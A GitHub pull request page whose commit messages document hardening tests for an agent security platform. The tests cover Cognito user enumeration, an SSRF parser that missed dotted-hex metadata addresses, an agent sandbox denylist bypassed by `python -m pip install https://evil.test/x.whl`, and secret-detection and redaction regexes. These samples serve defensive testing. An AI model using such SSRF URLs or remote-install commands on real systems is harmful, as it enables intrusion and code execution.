fix(iac): the Terraform mirror deployed a Cognito pool that leaks account existence (INV-IAC-5) - #70
Open
neosun100 wants to merge 12 commits into
Open
fix(iac): the Terraform mirror deployed a Cognito pool that leaks account existence (INV-IAC-5)#70neosun100 wants to merge 12 commits into
neosun100 wants to merge 12 commits into
Conversation
…ount existence (INV-IAC-5)
README calls iac-terraform/ a mirror for identity/vpc/guardrail/obs/harness.
INV-IAC-4 tested that claim for OBSERVABILITY and found it false; the other four
domains had never been compared, while they carry the platform's runtime security
boundaries.
THE DEFECT: `prevent_user_existence_errors` was absent from the Terraform human
app client, while iac-cdk/lib/identity-stack.ts:140 sets
`preventUserExistenceErrors: true`. AWS defaults it to LEGACY, under which Cognito
returns a DIFFERENT error for "user does not exist" than for "wrong password" — so
an attacker enumerates valid usernames from the error alone. An operator who
deployed the Terraform path believing the mirror claim got a pool that leaks
account existence while the CDK path does not.
`terraform validate` passes BEFORE and AFTER the fix — verified by deleting the
line and re-running: `Success! The configuration is valid.` The setting is
schema-valid in both states, which is precisely why this has to be a test. Same
shape as INV-IAC-4, where validate was equally blind to an alarm with no producer.
Only the HUMAN client needs it (the machine client uses client_credentials,
authenticating an app identity with no username surface), and CDK draws the same
line — so the exemption gets its own guard: if the machine client gains an
ALLOW_USER_* flow or stops using client_credentials, the premise has expired and
the test fails rather than the exemption silently widening.
FOUR NEGATIVE RESULTS PINNED rather than discarded. Each was an unguarded runtime
boundary where equality was luck, not a property:
1. The guardrail secret regexes. Both trees independently spell
A[KS]IA[0-9A-Z]{16} and (?:sk-|ghp_)[A-Za-z0-9_]{20,} from fragments; a drift
in one silently stops that deployment masking real leaked keys. Compared
against an EXPECTED value, not against each other — an identical drift in both
would pass a mutual comparison. Also asserted DISCRIMINATING (they match
real-shaped secrets and reject a 15-char body / wrong prefix / lowercase),
because a pattern matching nothing is as bad as no pattern and looks the same
in a diff.
2. PII actions: AWS_SECRET_KEY BLOCK vs EMAIL/NAME ANONYMIZE. A real difference —
anonymising a leaked secret still returns a response derived from it.
3. The Cognito password policy (12 chars, four classes, 3-day temp validity).
4. The subnet is private: CDK PRIVATE_ISOLATED, Terraform
map_public_ip_on_launch = false. Two spellings of one requirement, so both are
checked, and the explicit `false` is required rather than relying on an
unstated AWS default.
Comments are STRIPPED from both languages before matching, because a commented-out
setting satisfies a substring check while configuring nothing — the exact mechanism
behind INV-CONTAINER-2's unstartable container.
Deliberately NOT resource-for-resource parity: CDK's gateway/registry/memory/
runtime stacks have no Terraform counterpart by stated scope, and a README claim
naming a sixth domain fails the coupling check.
Mutation-tested 10/10, including drifts injected on the CDK side and "comment out
the fix". Counts synced (4073->4111 tests, 175->179 files, +8->+20 skipped): the
file count had drifted 4 past test_docs_drift's +-3 tolerance.
Suite: 4112 passed / 20 skipped. ruff clean. terraform validate clean.
…main too (INV-IAC-5)
README claims iac-terraform/ mirrors identity/vpc/guardrail/obs/harness. The
coupling check added with INV-IAC-5 asserts that every claimed domain has a guard,
but harness was the one domain still uncompared — so the check was passing on a
set that did not yet include it.
Now compared, against an EXPECTED constant rather than tree-to-tree (two identical
drifts pass a mutual comparison):
timeoutSeconds CDK `?? 300` vs TF harness_timeout_seconds default 300
modelId CDK `?? "global.anthropic.claude-sonnet-4-6"`
vs TF harness_model_id default (same)
Both currently agree — another negative result pinned rather than discarded.
Neither is a security boundary in the guardrail/Cognito sense, but a silent
divergence changes agent BEHAVIOUR between the two deployment paths while README
calls them a mirror: a shorter timeout truncates long tool loops on one path only
(surfacing as "the agent gives up in Terraform but not CDK", with no error
attached), and a different model id is the widest possible divergence for a
claimed mirror.
Deliberately NOT asserted: a -YYYYMMDD-vN:M version suffix on the model id.
test_specialist_containers.py requires that of the specialists because they name a
DIRECT model id, where an unpinned name reaches READY and then raises
ValidationException on first invoke. These trees name a cross-region INFERENCE
PROFILE (global.anthropic.…), which has no dated version to pin — the Terraform
variable says so explicitly. Applying the specialists' rule here would demand a
suffix that does not exist.
Mutation-tested 4/4 (TF timeout -> 60, TF model -> haiku, CDK timeout -> 900, CDK
model -> opus), so drifts on EITHER side fail. INV-IAC-5 total: 14/14.
Suite: 4113 passed / 20 skipped. ruff clean.
…NV-CLI-4) `sentinel run-scenario <name>` dispatches through a hand-written `_SCENARIOS` map in sentinel_harness/cli.py, and NOTHING referenced it. Measured by pointing one entry at a filename that does not exist and running everything: _SCENARIOS["cve_triage"] = "scenario_typo_gone.py" -> 4113 passed, 20 skipped The suite stayed fully green while `sentinel run-scenario cve_triage` — a name argparse offers in --help — would print "scenario file not found" and exit 2. A user-visible CLI failure with zero coverage. The distinction that isolated it matters, and my first hypothesis was WRONG. DELETING scenarios/scenario_cve_triage.py outright *does* fail three tests in test_scenarios_execute.py. But that module guards the scenario INVENTORY (everything on disk is classified and runnable), not the CLI's map INTO it — two halves of one contract with only the first guarded. Narrowing the probe to the mapping alone is what found the real gap. The guard resolves paths through the CLI's own SCENARIOS_DIR constant and asserts by os.path.samefile that it IS the repo's scenarios/ — otherwise the check could pass against a different tree than the shipped CLI reads. It also requires `choices=` to DERIVE from _SCENARIOS, asserted from the AST since the name appearing somewhere in the file proves nothing about the keyword argument: a re-typed literal lets --help offer a name the dispatcher lacks, or hide one it has. A DEAD BRANCH IS RECORDED rather than left as an apparent coverage gap. cmd_run_scenario's `if name not in _SCENARIOS: return 2` is unreachable through the CLI because argparse's choices= rejects first — verified, parse_args(["run-scenario","does_not_exist"]) raises SystemExit(2) with argparse's own message. It is kept as defence for direct calls, and BOTH facts are asserted so the next reader does not re-derive it from a coverage report as I did. The map is deliberately a SUBSET (3 advertised of 23 on disk — all three drive real AgentCore APIs, i.e. the live-demo selection), so it is checked as a subset with a size floor rather than for equality. The code previously said only "scenario name -> module file", which is indistinguishable from a list that drifted. Also recorded: I first numbered this INV-CLI-1, which was already taken. test_invariants_doc.py::test_invariant_ids_are_unique_and_sequential caught it — the same guard that caught a duplicate INV-EXPORT-1 earlier. Mutation-tested 5/5. Suite: 4119 passed / 20 skipped. ruff clean.
…n (INV-EVIDENCE-2)
`evidence/` is the strongest claim this repo makes — 38 artifacts asserting observed
behaviour — and the docs cite 31 by path so a reader can check the work.
INV-EVIDENCE-1 guards that committed evidence is byte-REPRODUCIBLE. Nothing guarded
that a cited path RESOLVES.
Measured three ways to isolate the gap:
delete a cited artifact -> 4 tests fail (count guards + demo tour)
rename one the DEMO reads -> 1 test fails (incidentally)
rename one only the DOCS cite -> 4119 passed, 20 skipped <-- nothing
Eight artifacts are cited by a doc and named by NO code (closed_loop_result.json,
live_memory_isolation_result.json, live_verify_result.json, +5). For those the doc
sentence is the only link between claim and file, so a rename leaves
docs/ROADMAP.md pointing at a 404 while the suite reports green. The count guards
cannot help: they count artifacts, and a rename keeps the count.
WHY "ALL REFERENCES MUST RESOLVE" WOULD BE WRONG — recorded because the next person
to automate this will hit it. docs/COOKBOOK.md is a TUTORIAL ("add a new tool",
worked through with a fictional geo_lookup) that deliberately cites four paths which
do not exist, under a heading reading "Evidence to drop" with imperative prose
telling the reader to CREATE the file. There is no tools/geo_lookup/ and none is
claimed. My first scan reported all four as "docs cite a missing artifact"; acting
on it would have meant fabricating artifacts for a fictional tool or gutting the
tutorial — a scanner lacking context, reported as a defect.
So the rule is about the KIND of claim, not the presence of a path. The tutorial is
exempted BY FILE and the exemption is guarded in BOTH directions: if COOKBOOK starts
citing artifacts that DO exist (the exemption would hide real breakage), or the geo_*
fiction leaks into a claim-making doc, this fails.
The reverse direction is deliberately NOT enforced: 7 artifacts are cited by no doc,
which is fine — evidence/ is a record of runs, not a documentation index, and
demanding every artifact be cited would push toward prose nobody needs or deleting
real evidence to satisfy a checker. That decision is stated in a test, not implied.
The guard caught one of MY OWN pseudo-citations in the same round: the INV-EVIDENCE-2
row illustrated the rule with a literal `evidence/x.json`, which the scan read as a
citation. Fixed by rewriting the example to `<artifact>` rather than adding
INVARIANTS.md to the exemption — exempting the document that cites the most real
evidence would have removed it from checking permanently. Using an exemption to
silence a false positive is turning off the sensor.
Also verified and left alone this round (negative results): all 7 `except: pass`
sites in tools/ are narrow-typed parse-probe chains (int -> float -> original string
in sigma_match/sigma_yara_lint's YAML `scalar()`; fenced-JSON -> bare-JSON ->
per-line in run_evaluation), not swallowed failures — zero bare `except:`. All 8
harness systemPrompt file references resolve. All 23 scenarios are named by tests.
Mutation-tested 4/4. Suite: 4123 passed / 20 skipped. ruff clean.
… claimed the opposite (INV-TOOL-1)
Every tools/*/handler.py with a *_LIVE seam returns fictional data by default and
marks it honestly in the payload (`"source": "stub"`). The README is where a HUMAN
decides whether to trust the output, and 5 of the 9 stub-serving tools carried no
warning at all while one actively contradicted the code.
Measured by CALLING each handler with no *_LIVE set and reading the `source` field
it returns — not by grepping for "mock":
asset_lookup / attack_lookup / epss_kev / nvd_lookup / web_search
source=stub, banner ABSENT
siem_query / enrich_ioc / ops_query / create_ticket
source=stub, banner PRESENT
So the repo already had the right pattern and five siblings never got it.
WORST CASE was nvd_lookup, whose Purpose read "return authoritative vulnerability
metadata (description, CVSS v3 score/severity, CWE identifiers, references) sourced
from the NVD" with no condition, while every default reply is {"source": "stub"}.
That is not a missing warning but a FALSE statement in the one direction that
matters: an analyst — or an agent — reading a fictional CVSS score as grounds to
defer a real patch. Now conditioned on NVD_LIVE=1, and a second assertion forbids
"authoritative" in any prose sentence that does not name the live seam (checked PER
SENTENCE: the word and "NVD_LIVE=1" co-occurring somewhere in a long README proves
nothing about the claim a reader actually reads).
WHY THE SCAN IS BEHAVIOURAL: a first pass grepped handlers for mock|stub|fake and
reported 8 offenders, 3 of them FALSE. allowlist_optimizer, detection_translate and
sigma_yara_lint merely mention those words while returning deterministic computation
over caller input; demanding a MOCK-DATA banner there would tell a reader that a real
Sigma-to-KQL translation is fictional. So the predicate is "the handler's own default
reply declares a stub source" — the tool admitting it where it cannot be wrong about
itself. The 6 detection_* tools ship no README by design and are skipped explicitly.
THE POSITIVE CONTROL DID ITS JOB DURING CONSTRUCTION. The probe's event list first
omitted the siem_query/ops_query/create_ticket shapes (each needs exactly one
recognised selector and refuses anything else), those three returned a validation
refusal with no `source`, and the control failed at 6 < 8. Fixed by teaching the
probe their signatures — a threshold tuned DOWN to match a blind probe is how a check
keeps passing while covering less. Now 9/9 detected.
Also recorded: my first version added a sys.path.insert out of habit, which
test_zz_suite_hygiene flagged. Investigating rather than bumping the documented
figure showed the insert was UNNECESSARY — spec_from_file_location loads from an
explicit path and never consults sys.path — so it was deleted and the suite's
sys.path footprint is unchanged. The guard was pointing at real redundancy, not
asking for a number.
Mutation-tested 4/4. Counts synced (4111->4142, 179->182 files, +20->+42 skipped).
Suite: 4143 passed / 42 skipped. ruff clean.
…nothing saying so (INV-GOV-10)
The registry is the platform's admission-control plane and its gate WORKS. Verified
against the shipped registry with all 20 factories wired:
resolve("web_search") -> RegistryError: tool 'web_search' is registered but
status='pending' (not approved)
resolve(<an approved tool>) -> OK (so the refusal discriminates)
Meanwhile harnesses/research-supervisor/harness.yaml GRANTS @gateway/web_search and
nothing compared the two. That matters because of the property INV-HARNESS-1 already
records: allowedTools is a GRANT, not a lookup — an unresolvable name does not raise,
the agent simply comes up with a smaller tool surface than its config declares. So an
operator reads `@gateway/web_search # egress-controlled web search` and concludes the
supervisor can search the web, while at runtime that grant yields nothing.
This is a DIFFERENT gate from INV-HARNESS-1's. That one asks "does the name resolve to
a stub under tools/?" — web_search DOES have one, so it passes there. This asks "has
governance approved it?". Scope measured: exactly one harness of the eight.
THE FIX IS DISCLOSURE, NOT REMOVAL. Both alternatives were rejected with reasons:
- Flipping the registry entry to `approved` would delete the repo's only worked
example of admission control actually denying something. docs/GOVERNANCE.md states
web_search ships `pending` ON PURPOSE, and test_registry.py exercises the refusal.
- Deleting the grant would lose the record of what the supervisor is intended to do
once the egress allowlist is signed off.
So the harness must state, beside the grant, that it is not currently resolvable —
read from the RAW TEXT rather than parsed YAML, since yaml.safe_load discards the
comment the disclosure lives in.
The requirement is BIDIRECTIONAL: once the registry approves the tool, a leftover
"not yet resolvable" note FAILS. A stale caveat telling an operator that a working
capability is unavailable is worse than none — the "lint-exempt directory = never
cleaned" rule applied to a comment.
Positive control asserts both sides are non-empty AND that at least one registry entry
is non-approved: a registry where everything is approved would make this module's
subject impossible, and would also mean the governance demo had been lost.
Mutation-tested 4/4 (remove the disclosure; approve the tool but keep the stale note;
approve everything; empty an allowlist). Suite: 4147 passed / 42 skipped. ruff clean.
…(INV-GOV-10, skills surface)
Extends INV-GOV-10 from harness grants to skill SOPs, where the same coupling is
WORSE.
`cve-triage-rubric` rule 3 reads "**Egress via `web_search`, not raw download**" and
`ioc-vetting` rule 4 "**Egress via reputation tools + `web_search`** … Never download
the sample". Each makes `web_search` the ONLY compliant way to reach external context
— while `registry.resolve("web_search")` raises RegistryError because the registry
ships it as `status: pending`. `detection-writing-sop` names it the same way for
malware writeups.
In the harness case the consequence is a missing capability. Here a SAFETY procedure
prescribes a path that does not exist, so an agent following it either abandons
enrichment (degraded but safe) or improvises (violating the very rule that forbids
raw downloads). A safety SOP must not contain a dead end silently.
So the disclosure must do two things, asserted separately: say the tool is
unavailable, AND name the safe branch (record UNKNOWN, never substitute a download).
TWO NARROWINGS OF THE SECOND ASSERTION WERE FORCED BY MUTATION, not reasoning:
1. A file-wide search for UNKNOWN/never SURVIVED "strip the safe branch from the
note" — these SOPs say both words throughout, so the evidence came from prose
unrelated to the gap.
2. Paragraph-scoped splitting ALSO survived, because the block containing the note
contains the rule it annotates — and that rule opens with "Never download
binaries". The guard was reading the prohibition it exists to protect as proof
that the note restates it.
Now scoped to the markdown BLOCKQUOTE lines, which isolate the disclosure from the
rule above it; de-blockquoting the note is itself a failure. A guard whose evidence
can come from the very text it checks against is not checking anything.
Mutation-tested 9/9 total (harness: remove disclosure, approve-but-keep-stale-note,
approve everything, empty an allowlist; skills: remove each of three disclosures,
strip the safe branch, de-blockquote).
Also recorded this round — three NEGATIVE results, each reached by executing rather
than reading code structure, and two of which reversed my initial hypothesis:
- mockdata IP hygiene is COMPLETE. 8 zero-arg APIs emit IPs, all in RFC 5737 /
private ranges. I suspected per-API drift (guards name hosts()/iocs()/
campaign_alerts() explicitly), but false_positive_alerts() and
true_positive_alerts() are DERIVED views of campaign_alerts(), load_world()/
load_enterprise() are deep-copy loaders behind hosts()/iocs(), and every IP in
alerts() is reachable through a covered API. Injecting 8.8.8.8 into world.py was
caught by test_mockworld.
- mockdata domains are all example.test/example.com; the 3 "violations" my scan
reported were FILENAMES (auth.log, cust.sql) matched by a naive domain regex.
- All 9 skills ship a SKILL.md, and every tool they reference exists on disk.
Suite: 4149 passed / 42 skipped. ruff clean.
…xecuted (INV-CONN-1)
connectors/conformance.py is the certification kit an adopter runs against their own
SIEM / ticketing connector, so its entire value rests on being able to say NO.
MY OPENING HYPOTHESIS WAS WRONG and is recorded rather than quietly dropped:
test_connector_conformance.py already proves the kit can reject — eight injected
non-conformant connectors are each refused. I had inferred from a coverage report
that it had never been shown to reject anything.
What WAS missing is finer: 15 statements sat inside failure branches the entire
suite never executed (90% statement coverage, missing 202-205, 224, 235-236,
244-245, 253, 260-261, 371-375). Each was reached by injection and each behaved
correctly, so this is not a defect fix — it converts "unverified but happens to be
right" into "verified". Now 100% statements (0 missing), 99% branch.
That distinction is load-bearing for a certification tool: the MESSAGE is the
product. An adopter acts on "rejects_foreign_envelope: probe {...}: raised
TypeError, expected ConnectorError". Every pre-existing test asserts only
`ok is False` — which a wrong-but-still-failing check also satisfies. So each new
test asserts the SPECIFIC named check that must fail plus the substance of its
detail, and pairs opposite outcomes so they cannot collapse into one message
(accepting junk vs raising the wrong type are different defects, different fixes).
THREE OF MY OWN ERRORS, recorded because each looked right:
1. Probing result.checks for the failing entry found nothing and briefly looked
like the kit losing a check. `checks` holds only names that PASSED; failures
live in `.failures`. Reading the wrong field made a working kit look broken.
2. I assumed one test covered both "accepts a title-less ticket" and "refuses it
with the wrong exception". Coverage showed 244-245 still unexecuted. Assuming
one test covers two branches is how a branch stays unverified while a test
named after it passes.
3. Reaching 371-375 — certify_all's isolation of the CROSS-connector check, the
invariant round 13 added because per-connector checks are structurally blind
to it — took two wrong attempts. A getter raising on its second call was
caught by check_result_set_equivalence's OWN handler (the outer block is a
second layer, so the inner must be bypassed, not merely triggered) and my
assertions passed against that inner catch. A non-iterable siem_names raised
too early, in the per-connector loop. What works is an iterable that succeeds
once and raises on re-iteration; the test now also asserts the outer handler's
distinctive wording and that all four per-connector verdicts SURVIVE.
Also recorded: two NEGATIVE results from this round's earlier probing, both reached
by executing rather than reading structure. mockdata IP hygiene is COMPLETE (8
zero-arg APIs emit IPs; the ones I suspected were unguarded are derived views or
deep-copy loaders behind already-covered APIs, and injecting 8.8.8.8 into world.py
was caught). mockdata domains are all example.test/example.com — the 3 "violations"
my scan reported were FILENAMES matched by a naive domain regex.
Counts synced (4142->4161, 182->184 files). Suite: 4162 passed / 42 skipped.
ruff clean.
…NV-EGRESS-4) egress.py exists because ipaddress.ip_address() parses only dotted-quad and standard IPv6, so a numerically-spelled host slips past the range check as if it were a DNS name. Its docstring records three spellings of 169.254.169.254 as the attack it was built for. A FOURTH was unhandled and ALLOWED through, verified end to end: http://0xa9.0xfe.0xa9.0xfe/latest/meta-data/ -> ALLOWED COVERAGE SURFACED IT, and the two facts turned out to be one fact. parse_ip_literal opened with `if candidate.lower().startswith("0x")`, which CLAIMS the dotted-hex host — it does start with 0x — then fails inside int(candidate, 16) because of the dots, so the function returned None. assert_safe_url reads None as "a DNS name, the runtime policy's problem" and permits it. The dotted-hex branch written further down (`if octet.lower().startswith("0x")`) was therefore UNREACHABLE, which is exactly why those two statements showed as uncovered. Two lines of dead code and an open SSRF path were the same defect. Fixed by guarding the integer branches with `"." not in candidate`. egress.py goes 91% -> 100% statements AND branches. A SECOND CHANGE WAS MADE AND THEN REVERTED — the more instructive half. Broadening the range check from link_local/multicast/reserved/unspecified to `not ip.is_global` (refusing loopback, RFC 1918, and — after measurement — CGNAT 100.64/10, which CPython reports as is_private=False yet is_global=False) looked like a strict improvement. It failed 46 tests across 10 modules. Reading them showed test_web_search_live.py naming http://127.0.0.1:8080/search a SAFE target: an adopter points a *_LIVE tool at a stub or sidecar on the runtime's own loopback, and egress.py's docstring assigns resolution-time concerns to "the runtime network policy's job". So 46 failures were evidence of a DELIBERATE CONTRACT, not 46 latent bugs. Editing them to match my guess would have rewritten a design decision. The boundary is now asserted in both directions, so a future broadening must be deliberate rather than collateral damage. Two further measurements recorded rather than assumed: - `is_global` alone is NOT a sufficient predicate: multicast 224.0.0.1 reports is_global=True. Found by checking 13 must-block and 7 must-allow literals, not by reasoning about the flag. - An EQUIVALENT MUTANT is documented so nobody re-hunts it: deleting the per-octet `0 <= part <= 255` check survives, because an out-of-range octet shifts value past 0xFFFFFFFF and the 32-bit ceiling catches it. Overlapping defence, not a test gap. My first note claimed the opposite — a guess about the mechanism rather than a measurement of it. Mutation-tested: reverting the dotted-hex fix, breaking octal-octet parsing, breaking hex-octet parsing, over-claiming real hostnames, dropping the link-local refusal, and allowing non-HTTP schemes are each CAUGHT. Counts synced (4161->4197, 184->185 files). Suite: 4198 passed / 42 skipped. ruff clean.
…urce denylist (INV-SANDBOX-6) sandbox_hooks.validate_command is the PreToolUse gate. One of its denylist checks, _check_untrusted_package_source, refuses an install redirected at an attacker-controlled source (URL/VCS spec, --index-url override) because that is remote code execution wearing a dependency-install costume. It keyed on tokens[0]. Identical semantics, opposite verdicts: pip install https://evil.test/x.whl REFUSED python -m pip install https://evil.test/x.whl ALLOWED <-- verb was "python" `python -m pip` is the form Python's own docs recommend, so this was not an obscure bypass but the common spelling. `uv run pip install <url>` had the same hole. One protection, two paths, one guarded — the shape INV-COERCE records four times. And the SIBLING function in the same file had already learned it: _check_interpreter_escape comments "Scan EVERY token … an interpreter can be nested behind a runner". A fix applied to one call site is not an invariant even inside one module. Fixed by searching all tokens for the package manager. Legitimate steps stay allowed (pip install -r requirements.txt, python -m pip install requests, python -m pip list, python -m pytest) — asserted, because a careless implementation would refuse any command merely MENTIONING pip. TWO MUTATION SURVIVORS WERE FINDINGS ABOUT MY TESTS, not the code: 1. Deleting the source-override FLAG check survived, because every case I wrote paired the flag with a URL — which _REMOTE_PKG_RE also matches. Two checks that overlap on the cases you test are one untested check. Now isolated with non-URL index values (--index-url mirror). 2. Breaking the interpreter-escape token scan survived, because my only nested case was `uv run python -c` and `uv` ITSELF declares -c as an inline-code flag — the right verdict for the wrong reason. `uv run node -e` has no such coincidence and was ALLOWED. Both are now parametrised. A guard verified only through a case where two rules happen to agree is not verified. SCOPE DECIDED BY READING THE CONTRACT, NOT INSTINCT. Probing also showed `python -m http.server`, `telnetlib`, `smtpd` and `ftplib` are allowed. Those are network reachability, which this module's docstring scopes to the runtime policy (as egress.py does for DNS). Refusing them here would be a NEW policy, not closing a gap in an existing one, so they are left alone and asserted as ALLOWED so a future round changes that deliberately. That restraint is learned: last round I broadened egress.py on the same instinct and failed 46 tests across 10 modules because loopback egress was a deliberate contract. Close the gap the denylist already claims; do not widen what it covers. Mutation-tested 5/5. Counts synced in three places — including tests/README-coverage.md, whose header still cited 4039 from several rounds ago (its own guard caught that, with a 5% tolerance the drift had finally exceeded). Suite: 4221 passed / 42 skipped. ruff clean.
INV-MCP-4 fixed credential-bearing exception text at the MCP boundary via
_safe_error_text. Auditing the OTHER exit — logutil's JSON formatter, which writes
record.__dict__ extras and formatException(exc_info) verbatim into a CloudWatch
stream humans read, export and paste into tickets — turned up a real gap in that
redactor itself.
Its key=value rule needs a label (token=/secret:) in front of the value, and its
opaque-blob rule covers only AKIA/ASIA/ABSK. So a BARE provider token passed
through untouched:
token=sk-<24> -> token=[redacted]
upstream rejected: sk-<24> -> verbatim <-- leaked
git push failed: ghp_<24> -> verbatim <-- leaked
The unkeyed form is the COMMON one: an upstream echoes the credential it rejected
straight into its error message, with no obliging `token=` label. And these
prefixes are not a standard invented for this fix — ci.yml's secret-and-name scan
greps commits for exactly sk- / ghp_ / ABSK, so the redactor was missing a class
its own CI gate enforces.
Fixed with a prefix-anchored pattern (sk-, ghp_, gho_, ghu_, ghs_, ghr_,
github_pat_) that KEEPS the prefix in the output (`sk-[redacted]`), because an
operator needs to know which credential to rotate, and requires 16+ following
chars so `sk-abc` is not mangled. All 38 pre-existing INV-MCP-4 tests stay green.
THE LOG-EXIT HALF IS HARDENING, NOT A FIX, and is labelled as such. Measured
first: the library has 2 exc_info=True sites (both _log.debug("cleanup: skip …")
logging a botocore ClientError, which carries an ARN but no credential) and ZERO
production extra= call sites. There is no reachable log leak today — my initial
probe leaked a password only because I wrote the log.exception() myself. The
property holds by accident, which this repo treats as indistinguishable from a
guarded one, so it is now checked: a new credential-named extra= or an unreviewed
exception-logging site fails, and the message names _safe_error_text so the fix is
to reuse the redactor. A further test proves that redactor really removes every
shape — INV-CI-5's rule that a named remediation must work.
THE REDACTOR WAS NOT MOVED INTO logutil, which was the first plan.
_SECRET_PATTERNS carries its own trust model in a comment ("a leaked hostname
grants no new capability over a local stdio channel … if this server ever gains a
network transport, that trade-off must be revisited"), so those patterns are tuned
for an MCP stdio peer rather than as a general log sanitiser. Relocating them would
strip that reasoning from its context while touching an implementation four test
modules depend on. Unifying the two exits is a legitimate refactor for its own
round.
Also recorded: a first version parametrised the source-scan test over five
credential VALUES it never used — five labelled passes for one check, which is
worse than an honest single case.
Mutation-tested 5/5. Suite: 4230 passed / 42 skipped. ruff clean.
…V-COV-1)
.coveragerc deliberately uses `include` globs rather than `source`, and the reason is
documented at length: the suite path-loads flat trees via spec_from_file_location
under fabricated module names, and coverage's `source` option turns on import-time
interception that fights that pattern. That decision is sound.
Its cost is a HAND-MAINTAINED glob list, and the list had drifted. It named four trees
(tools, longrunning, specialists, sentinel_harness) while pyproject.toml ships five
packages, leaving two carrying real Python entirely outside the gate:
intake/ 2 files, ~195 lines — the deterministic intake normaliser
mockdata/ 5 files, ~1478 lines — the ONLY source of the mock threat intelligence
DEMONSTRATED RATHER THAN ARGUED. Appending seven never-executed statements to
intake/adapter.py:
before: TOTAL 8644, 92%, `coverage report --fail-under=88` -> rc=0
intake/adapter.py absent from the report ENTIRELY
after: TOTAL 8864, intake/adapter.py 86 statements 89%, missing 247-253
So this was never about a percentage looking better: code in two shipped packages
could rot arbitrarily and the gate would not notice — the "lint-exempt directory =
never cleaned" rule applied to a coverage gate. mockdata matters most, at seven times
intake's size and being the sole source of the fictional threat intelligence every
tool returns; SecOps output is only as trustworthy as the shape of that data.
Adding both moved TOTAL 8644 -> 8856 with coverage steady at 92%, so the 88% gate
still passes — verified BEFORE committing, because a fix that lands red is not a fix.
harnesses/ is deliberately NOT added: it is the fifth shipped package and contains
ZERO .py files, so a glob for it could never match — configuration whose only
function is to make a checklist look complete. The guard keys on "ships Python", not
"is listed in pyproject", and that exemption carries its own check so a future .py
file under harnesses/ fails rather than hiding.
Two further couplings asserted:
- an include glob pointing at a moved or empty tree fails. Coverage does not warn
about a pattern matching nothing; it just reports less, which reads identically to
"fully covered" — the same shape as a Dependabot directory that no longer exists.
- .coveragerc's fail_under must equal the Makefile's --fail-under. Its own comment
says they MUST match, and two copies of one threshold drift.
The include parser reads the `include =` block ONLY. A whole-file grep for */name/*
would also match the `omit =` entries and report build/ and node_modules/ as covered.
Mutation-tested 5/5. Suite: 4235 passed / 42 skipped. ruff clean.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
1 participant
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
README calls
iac-terraform/a "deployable Terraform mirror (identity/vpc/guardrail/obs/harness)". INV-IAC-4 tested that claim for observability and found it false. The other four domains had never been compared — while they carry the platform's runtime security boundaries: which secret shapes get masked, how strong a password must be, whether a subnet auto-assigns public IPs, whether Cognito leaks that a username exists.The defect
prevent_user_existence_errorswas absent from the Terraform human app client.iac-cdk/lib/identity-stack.ts:140setspreventUserExistenceErrors: true; the mirror set nothing.AWS defaults this to
LEGACY, under which Cognito returns a different error for "user does not exist" than for "wrong password" — so an attacker enumerates valid usernames from the error alone. An operator who deployed the Terraform path believing the mirror claim got a pool that leaks account existence while the CDK path does not.terraform validatepasses before AND after the fix — verified by deleting the line and re-running:The setting is schema-valid in both states, which is precisely why this has to be a test. Same shape as INV-IAC-4, where
validatewas equally blind to an alarm with no metric producer.Only the human client needs it — the machine client uses
client_credentials, authenticating an app identity with no username surface, and CDK draws the same line. So the exemption gets its own guard: if the machine client gains anALLOW_USER_*flow or stops usingclient_credentials, the premise has expired and the test fails rather than the exemption silently widening.Four negative results, pinned rather than discarded
Each was an unguarded runtime boundary where the equality was luck, not a property:
A[KS]IA[0-9A-Z]{16}(?:sk-|ghp_)[A-Za-z0-9_]{20,}AWS_SECRET_KEY=BLOCK,EMAIL/NAME=ANONYMIZEPRIVATE_ISOLATEDmap_public_ip_on_launch = falseNotes on how these are checked, not just that they are:
falserather than relying on an unstated AWS default — that is how a network boundary flips unnoticed.Comments are stripped from both languages before matching, because a commented-out setting satisfies a substring check while configuring nothing — the exact mechanism behind INV-CONTAINER-2's unstartable container.
Scope, stated rather than implied
Deliberately not resource-for-resource parity: CDK's gateway / registry / memory / runtime stacks have no Terraform counterpart by stated scope (INV-IAC-4 records the same boundary). A README claim naming a sixth domain fails the coupling check, so the promise and the coverage stay attached.
Verification
{10,}· TF key body →{8}·AWS_SECRET_KEY→ ANONYMIZE · password min → 8 · droprequire_symbols· public IPs on · machine client gains a user-auth flow · CDK-side regex drift · CDK dropspreventUserExistenceErrors· comment out the fix.terraform validate: clean. Full suite: 4112 passed / 20 skipped.ruffclean.4073→4111,175→179files,+8→+20skipped) — the file count had drifted 4 pasttest_docs_drift's ±3 tolerance.KEY_RE).